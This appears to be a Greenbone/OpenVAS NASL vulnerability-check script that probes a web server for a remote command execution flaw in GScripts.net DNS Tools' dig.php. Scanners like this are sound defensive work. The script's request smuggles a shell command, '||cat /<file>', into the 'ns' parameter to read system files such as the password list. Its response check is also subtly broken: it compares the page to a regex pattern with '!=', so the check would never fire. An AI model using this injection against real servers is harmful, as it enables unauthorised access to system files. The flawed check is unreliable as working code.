GScripts.net DNS Tools RCE Vulnerability (May 2009) - Active Check

# SPDX-FileCopyrightText: 2009 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.100182");
  script_version("2025-04-15T05:54:49+0000");
  script_tag(name:"last_modification", value:"2025-04-15 05:54:49 +0000 (Tue, 15 Apr 2025)");
  script_tag(name:"creation_date", value:"2009-05-02 19:46:33 +0200 (Sat, 02 May 2009)");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");

  script_cve_id("CVE-2009-1361", "CVE-2009-1916");

  script_tag(name:"qod_type", value:"remote_vul");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_name("GScripts.net DNS Tools RCE Vulnerability (May 2009) - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2009 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "os_detection.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("Host/runs_unixoide");
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"summary", value:"GScripts.net DNS Tools is prone to a remote command execution
  (RCE) vulnerability because the software fails to adequately sanitize user-supplied input.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"impact", value:"Successful attacks can compromise the affected software and
  possibly the host.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore.
  General solution options are to upgrade to a newer release, disable respective features,
  remove the product or replace the product by another one.");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/34559");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("list_array_func.inc");
include("misc_func.inc");
include("traversal_func.inc");
include("os_func.inc");
include("port_service_func.inc");

port = http_get_port(default: 80);

if (!http_can_host_php(port: port))
  exit(0);

files = traversal_files("linux");

foreach dir (make_list_unique("/whois", "/dns_tools", http_cgi_dirs(port: port))) {
  if (dir == "/")
    dir = "";

  res = http_get_cache(port: port, item: dir + "/dig.php");
  if (!res || res != "^HTTP/1\.[01] 200")
    continue;

  foreach file (keys(files)) {
    url = dir + "/dig.php?ns=||cat%20/" + files[file] + "&host=example.org&query_type=NS&status=digging";

    if (http_vuln_check(port: port, url: url, pattern: file)) {
      report = http_report_vuln_url(port: port, url: url);
      security_message(port: port, data: report);
      exit(0);
    }
  }
}

exit(99);